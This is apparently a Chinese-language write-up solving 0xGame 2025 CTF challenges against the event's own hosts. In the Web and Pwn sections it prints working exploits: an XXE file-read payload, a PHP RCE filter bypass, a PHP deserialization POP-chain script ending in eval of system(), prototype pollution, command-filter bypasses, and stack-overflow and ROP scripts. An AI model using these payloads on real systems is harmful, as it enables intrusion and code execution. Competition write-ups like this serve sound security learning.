Web
Lemon
题目提示'时代少年团,我们喜欢你',界面禁用了右键和 F12。其实直接按 Ctrl+U 查看源码即可绕过限制。

Http 的真理,我已解明
根据题目提示修改请求包,注意 Host 和 Cookie 字段。

POST /?hello=web HTTP/1.1
Host: 80-42e509c2-93bd-4e6a-9963-f2a827a573d0.challenge.ctfplus.cn
Content-Length: 9
Cache-Control: max-age=0
Origin: http://80-42e509c2-93bd-4e6a-9963-f2a827a573d0.challenge.ctfplus.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Safari
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: www.mihoyo.com
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Sean=god Connection: keep-alive Via:clash http=good
留言板(粉)
登录界面存在弱口令,直接使用 admin/admin123 进入。

正常输入会返回 XML 报错,这里可以直接利用 XXE 漏洞读取文件。
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<msg>&xxe;</msg>

RCE1
题目过滤了常见命令词如 system, cat, flag, ls 等,且禁止使用通配符 *。不过我们可以利用替代方案:
system可以用print替代cat可以用tac替代`表示执行里面的命令f???可以匹配以 f 开头的四字文件ls可以用l\s绕过
Payload 如下:
http://localhost:80/index.php?rce1[]=1 rce2[]=2&rce3=print(`tac /f???`);
//rce3=readfile('/'.'fl'.'ag');

Rubbish_Unser
典型的 PHP 反序列化漏洞。逻辑链如下:
ZZZ::__destruct → __toString (Mi) → GI::__call() → HI3rd::__invoke → HSR::__get() → eval
需要满足特定条件触发:MD5 和 SHA1 分别相等。利用 Error 类和 PHP 的 GC 回收机制绕过异常抛出。
EXP 脚本:
<?php
error_reporting(0);
class ZZZ {
public $yuzuha;
function __construct($yuzuha) { $this->yuzuha = $yuzuha; }
function __destruct() { echo "破绽,在这里!" . $this->yuzuha; }
}
class HSR {
public $robin = "system('env');";
function __get($robin) {
echo "4";
$castorice = $this->robin;
eval($castorice);
}
}
class HI3rd {
public $RaidenMei, $kiana, $guanxing;
function __invoke() {
echo "3";
if($this->kiana !== $this->RaidenMei && md5($this->kiana) === md5($this->RaidenMei) && sha1($this->kiana) === sha1($this->RaidenMei))
return $this->guanxing->Elysia;
}
}
class GI {
public $furina;
function __call($arg1, $arg2) {
echo "2";
$Charlotte = $this->furina;
return $Charlotte();
}
}
class Mi {
public $game;
function __toString() {
echo "1";
$game1 = @$this->game->tks();
return $game1;
}
}
$a = new ZZZ(1);
$a->yuzuha = new Mi();
$a->yuzuha->game = new GI();
$a->yuzuha->game->furina = new HI3rd();
$a->yuzuha->game->furina->kiana = new Exception("", 1);
$a->yuzuha->game->furina->RaidenMei = new Exception("", 2);
$a->yuzuha->game->furina->guanxing = new HSR();
echo urlencode(serialize($a));
?>
序列化后的 Payload 较长,直接提交即可。


Lemon_RevEnge
原型链污染攻击。
{ "__init__": { "__globals__": { "os": { "path": { "pardir": "," } } } } }


留言板_reVenge
路径为 /xxxxmleee.php,与留言板(粉)类似,直接上 XSS payload 即可,无需额外绕过。


Misc
Sign_in
Base64 解码后进行二次凯撒解码。


公众号原稿
隐写在 zip 文件中。解压后放入 VSCode,使用快捷键 Ctrl+Shift+F 全局搜索 flag。


Zootopia
随波逐流,直接秒题。


签到 -0xGame
Flag 格式:0xGame{🎉👋🕹️2️⃣0️⃣2️⃣5️⃣0️⃣❎🎮🎯🏟️🥳🎊⚽😄}
Do not enter
挂载磁盘镜像并查找日志。
~$ sudo losetup -fP do_not_enter.dd
~$ sudo losetup -a
/dev/loop0: [2096]:536444 (/home/yolo/Desktop/timu/0xGame_challenge/do_not_enter.dd)
~$ lsblk -f /dev/loop0
NAME FSTYPE FSVER LABEL UUID FSAVAIL FSUSE% MOUNTPOINTS
loop0 ├─loop0p1 ext4 1.0 UserShare 5a6be8f0-43f9-4020-a729-510d6d57e95b
├─loop0p2 ext4 1.0 Do_not_enter 643298ec-2a07-4681-9555-addf90de8ae1
├─loop0p3
├─loop0p5 ext4 1.0 WebServer f965eed6-3de2-4533-8e06-2c816f9e4575
└─loop0p6 ext4 1.0 SysLogs 650ce632-c57e-41c6-8a3b-c6bf3d4e2193
~$ sudo mount /dev/loop0p2 /mnt/test
~$ sudo grep -r "0xGame" /mnt/test
/mnt/test/syslog:0xGame{WoW_y0u_fouNd_1t?_114514}
~$ sudo umount /mnt/test
~$ sudo losetup -d /dev/loop0
~$ sudo rmdir /mnt/test
ez_Shell
根据官方 WP 提示构造 flag。


Flag: 0xGame{hacker*/home/hacker*.mysecret_It_is_funny_right?_You_hacked_me!!!}
ezShell_PLUS
根据题意,先找到哈希值对应的文件,再解密。
welcome@dep-f031579f-3f98-40cc-acc1-c7fa6cdac464-6c66ccb687-ch48r:~$
ls challenge
welcome@...:~/challenge$ cd files
welcome@...:~/challenge/files$ ls *.dat
... (多个文件)
welcome@...:~/challenge/files$ sha256sum *.dat | grep 9e4bba0f1d59dbb430078a54ad9eda3c2d7f1b3cab323cf2041e61e897fd0840
9e4bba0f1d59dbb430078a54ad9eda3c2d7f1b3cab323cf2041e61e897fd0840 f9a0df0bab59793e.dat
welcome@...:~/challenge/files$ cd ../
welcome@...:~/challenge$ ./decrypt.sh files/f9a0df0bab59793e.dat
0xGame{Welc0me_to_H@ckers_w0r1d}
Reverse
Signln
方法一:打开即可看见。
方法二:右键搜索特征字符串 0xGame。



Signln2
运行程序获取提示,分析逻辑。


EasyXor
使用 DIE 检测文件类型,确认为 ELF64 后导入 IDA。双击 str() 函数或丢给 AI 分析。


IDA 版本较低无法直接 dump,参考官方 WP 编写脚本解密。
enc=[0x42,0x1A,0x39,0x17,0x1D,0x9,0x51,0x55,0x2C,0x5F,0x63,0xC,0xD,0x16,0x62,0x27,0x55,0x64,0x55,0x26,0x6D,0x6A,0x18,0x34,0x88,0x65,0x6E,0x1C,0x21,0x6E,0x3D,0x23, 0x6A,0x25,0x6B,0x63,0x68,0x7E,0x77,0x75,0x9A,0x7D,0x39,0x43]
key = 'raputa0xGame2025'
for i in range(len(enc)): print(chr((enc[i]-i)^ord(key[i % len(key)])),end='')

BaseUpx
DIE 检测发现 UPX 壳,脱壳后查看 puts 函数得到 Flag。




DyDebug
在 Pity 处断点运行,随机输入即可拿到 Flag。


ZZZ
考察 Z3 求解器。复现等式并验证 SHA256。
from z3 import *
import hashlib
sha256='4aba519d4666f5421488afaaf89efdcbe48e7a53f814ce5c1d82b46b55032651'
s=Solver()
x1=BitVec('x1',32); x2=BitVec('x2',32)
x3=BitVec('x3',32); x4=BitVec('x4',32)
s.add(3 * x2 + 5 * x1 + 7 * x4 + 2 * x3 == -1445932505)
s.add(2 * (2 * (2 * x2 + x3) + x1) + x4 == -672666814)
s.add(7 * x2 + 3 * x1 + 5 * x4 + 4 * x3 == 958464147)
s.add(((x1 ^ x2) << 6) + ((x3 >> 6) ^ 0x4514) == 123074281)
while s.check() == sat:
model=s.model()
x1_val=model[x1].as_long(); x2_val=model[x2].as_long()
x3_val=model[x3].as_long(); x4_val=model[x4].as_long()
flag=f"0xGame{{{x1_val:08x}{x2_val:08x}{x3_val:08x}{x4_val:08x}}}"
if hashlib.sha256(flag.encode()).hexdigest()==sha256:
print(flag)
exception=Or(x1!=x1_val,x2!=x2_val,x3!=x3_val,x4!=x4_val)
s.add(exception)
Pwn
命令执行🤔
在正常命令中加入无关紧要的分隔符,如 ca\t flag 或 c'a'r flag 绕过过滤。
wenyifan@wenyifan-VMware-Virtual-Platform:~/Desktop$ nc nc1.ctfplus.cn 26950
Please input your command,no cat no sh!
ca\t flag 0xGame{y0u_c4n_4ls0_3x3cu73_c0mm4nd_w17h0u7_5h_4nd_c47}
test_your_nc
简单交互测试。

stack overflow
简单的栈溢出,计算偏移量覆盖返回地址。


from pwn import *
w=remote("nc1.ctfplus.cn",20513)
payload=b'a'*0x38+p64(0x4011F7)
w.send(payload)
w.interactive()
简单数学题
自动计算表达式并提交结果。
from pwn import *
context.log_level='debug'
io=remote("nc1.ctfplus.cn",16627)
io.recvuntil(b"Kore wa shiren da!\n")
for i in range(1000):
t=io.recvuntil(b"?")[:-3]
if b"x" in t:
t=t.decode()
t = t.replace("x", "*", 1)
t=t.encode()
num=eval(t)
io.sendline(str(num).encode())
io.recvline()
io.recvline()
io.interactive()
ROP1
构造 ROP 链调用 system 函数。



from pwn import *
io=remote("nc1.ctfplus.cn",26572)
system=p64(0x401195)
sh=p64(0x000000000040201e)
rdi=p64(0x000000000040117e)
payload=b'a'*0x28+rdi+sh+system
io.send(payload)
io.interactive()
ROP2
类似的 ROP 链构造,注意偏移调整。



io=remote("nc1.ctfplus.cn",49374)
payload=b'a'*0x38+p64(0x40119E)+p64(0x401200+2)+p64(0x40122B)
io.sendline(payload)
io.interactive()
Crypto
2FA
使用 oathtool 生成 TOTP 密码。
oathtool --totp -b FZUA6MCDB6YHVZVZCXK4C47ERRG363MR
解释:oathtool 将 Base32 密钥解码为原始字节,结合时间戳计算 TOTP。

芸翎
RSA 解密脚本,包含 PoW 爆破和参数提取。
import string, hashlib, re, itertools
from pwn import *
from Crypto.Util.number import *
def solve_pow(prefix_end, target_hash):
alphabet = string.ascii_letters + string.digits
for x in itertools.product(alphabet, repeat=4):
s = ''.join(x) + prefix_end
if hashlib.sha256(s.encode()).hexdigest() == target_hash:
return ''.join(x)
return None
def decrypt_rsa_prime_n(n, e, c_hex):
c_bytes = bytes.fromhex(c_hex)
c_int = int.from_bytes(c_bytes, 'little')
phi = n - 1
d = pow(e, -1, phi)
m = pow(c_int, d, n)
return m
def main():
try:
r = remote('nc1.ctfplus.cn', 14612)
line = r.recvline().decode().strip()
match = re.match(r'\[\+\] sha256\(XXXX\+([a-zA-Z0-9]+)\) == ([0-9a-f]+)', line)
suffix = match.group(1)
target_hash = match.group(2)
xxxx = solve_pow(suffix, target_hash)
r.sendlineafter(b'[-] Give me XXXX:', xxxx.encode())
r.recvuntil(b'[+] n = ') n = int(r.recvline().strip())
r.recvuntil(b'[+] e = ') e = int(r.recvline().strip())
r.recvuntil(b'[+] c = ') c_hex = r.recvline().strip().decode()
m = decrypt_rsa_prime_n(n, e, c_hex)
m_bytes = long_to_bytes(m)
# 尝试解码 flag
flag_str = m_bytes.decode('utf-8')
if '}' in flag_str:
end_index = flag_str.index('}') + 1
print(f"FLAG: {flag_str[:end_index]}")
except Exception as e:
print(f"Error: {e}")
if __name__ == '__main__':
main()
Diffie-Hellman
利用 DH 协议特性,发送 B=1 获取共享密钥,解密 Flag。
#!/usr/bin/env python3
import socket, re
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
HOST = "nc1.ctfplus.cn"
PORT = 49871
def recv_all_until(sock, marker, timeout=5):
sock.settimeout(timeout)
data = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk: break
data += chunk
if marker in data: break
except socket.timeout: break
return data
def main():
with socket.create_connection((HOST, PORT), timeout=10) as s:
data = recv_all_until(s, b"Bob's Public Key:")
s.sendall(b"1\n")
more = recv_all_until(s, b"\n", timeout=2)
text2 = (data + more).decode(errors='ignore')
m = re.search(r"Encrypted Flag:\s*([0-9a-fA-F]+)", text2)
if not m:
extra = s.recv(8192)
text2 += extra.decode(errors='ignore')
m = re.search(r"Encrypted Flag:\s*([0-9a-fA-F]+)", text2)
hex_cipher = m.group(1)
ct = bytes.fromhex(hex_cipher)
key = sha256(long_to_bytes(1)).digest()
cipher = AES.new(key, AES.MODE_ECB)
pt = unpad(cipher.decrypt(ct), 16)
print(pt.decode())
if __name__ == "__main__":
main()
ez_RSA
分解 n 得到 p 和 q,计算私钥 d 解密。
from Crypto.Util.number import long_to_bytes, inverse
n = 5288062996177288067805240670327919739339874127477405321607402348589147491552053048231920112750216696782518281218048178087877077018108705271341382858124037
c = 2454797328903978848197140611862882439826920912955785083080835692389929572917351093371626343669582289242212514789420568997224614087740388703381025018563979
p = 60979507724530093051797511853954365018147917052474373616663462193464369184711
q = 86718689499194998339746379891242621495538434539975542252458947218776577824467
e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("flag =", flag.decode())
Vigenere
维吉尼亚密码解密。
from string import digits, ascii_letters, punctuation
ciphertext = 'WL"mKAaequ{q_aY$oz8`wBqLAF_{cku|eYAczt!pmoqAh+'
key = "Welcome-2025-0xGame"
alphabet = digits + ascii_letters + punctuation
def vigenere_decrypt(cipher, key):
key_index = 0
plaintext = ''
for char in cipher:
bias = alphabet.index(key[key_index])
char_index = alphabet.index(char)
new_index = (char_index - bias) % len(alphabet)
plaintext += alphabet[new_index]
key_index = (key_index + 1) % len(key)
return plaintext
print(vigenere_decrypt(ciphertext, key))
笙莲
多部分数据拼接,包含 Base64、Hex、自定义编码及整数开方。
#!/usr/bin/env python3
from base64 import b64decode
c0 = "MHhHYW1le7u2063AtLW9MHhHYW1lMjAyNQ=="
c1 = "a3accfd6d4dac4e3d2d1beadd1a7bbe143727970746fb5c4bb"
c2 = "wqwwwqqaawwwaaqawqwawwwwaaawwwawaqqwwwqaqwwqwaaqwaqqaaawqqqaqaqwaaawwwqaqaaaaqawaqqqwwqqwaqwqwwwawawqqwwqqawqwaqwwawwqwaqqaqwaw"
c3 = "5787980659359196741038715872684190805073807486263453249083702093905274294594502252203577660251756609738877887210677202141957646934092054500618364441642896304387589669635034683021946777034215355675802286923927161922717560413551789421376288823912349463080999424773600185557948875343480056576969695671340947861706467351885610345887785319870159654836532664189086047061137903149197973327299859185905186913896041309284477616128"
def decode_awaqaq(s: str) -> bytes:
inv = {'a':0, 'w':1, 'q':2}
num = 0
for i, ch in enumerate(s): num += inv[ch] * (3 ** i)
length = (num.bit_length() + 7) // 8
return num.to_bytes(length, 'big')
def integer_kth_root(n: int, k: int) -> int:
lo, hi = 1, 1 << ((n.bit_length() // k) + 2)
while lo < hi:
mid = (lo + hi) // 2
if mid**k <= n: lo = mid + 1
else: hi = mid
return lo - 1
b0 = b64decode(c0)
b1 = bytes.fromhex(c1)
b2 = decode_awaqaq(c2)
n = int(c3)
x = integer_kth_root(n, 7)
seg_len = max(len(b0), len(b1), len(b2))
b3 = x.to_bytes(seg_len, 'little')
all_bytes = b0 + b1 + b2 + b3
end = all_bytes.find(b"}")
if end != -1:
flag = all_bytes[:end+1].decode("gb2312", errors="ignore")
print(flag)
Vigenere Advanced
自定义字符集与加密算法,暴力破解候选组合。
from string import digits, ascii_letters, punctuation, ascii_lowercase
import itertools
alphabet = digits + ascii_letters + punctuation
key = "QAQ(@.@)"
ciphertext = "0l0CSoYM<c;amo_P_"
n = len(alphabet)
prefix = "0xGame{" suffix = "}"
def decrypt_char(c, bias):
target_index = alphabet.index(c)
candidates = []
for x in range(n):
if ((x + bias) * x) % n == target_index:
candidates.append(alphabet[x])
return candidates
cand_lists = []
for i, c in enumerate(ciphertext):
bias = alphabet.index(key[i % len(key)])
cands = decrypt_char(c, bias)
if i < len(prefix): cands = [ch for ch in cands if ch == prefix[i]]
elif i == len(ciphertext) - 1: cands = [ch for ch in cands if ch == suffix]
else: cands = [ch for ch in cands if ch in ascii_lowercase]
cand_lists.append(cands)
def encrypt(plaintext, key):
key_index = 0
ct = ''
for ch in plaintext:
bias = alphabet.index(key[key_index])
char_index = alphabet.index(ch)
new_index = ((char_index + bias) * char_index) % n
ct += alphabet[new_index]
key_index = (key_index + 1) % len(key)
return ct
candidates = []
for combo in itertools.product(*cand_lists):
pt = ''.join(combo)
if encrypt(pt, key) == ciphertext:
candidates.append(pt)
if candidates:
print("最可能的 flag:", candidates[0])
Osint
猜猜 background
通过图片地理信息定位坐标。


Flag: 0xGame{大室山_32.1191_118.9265}

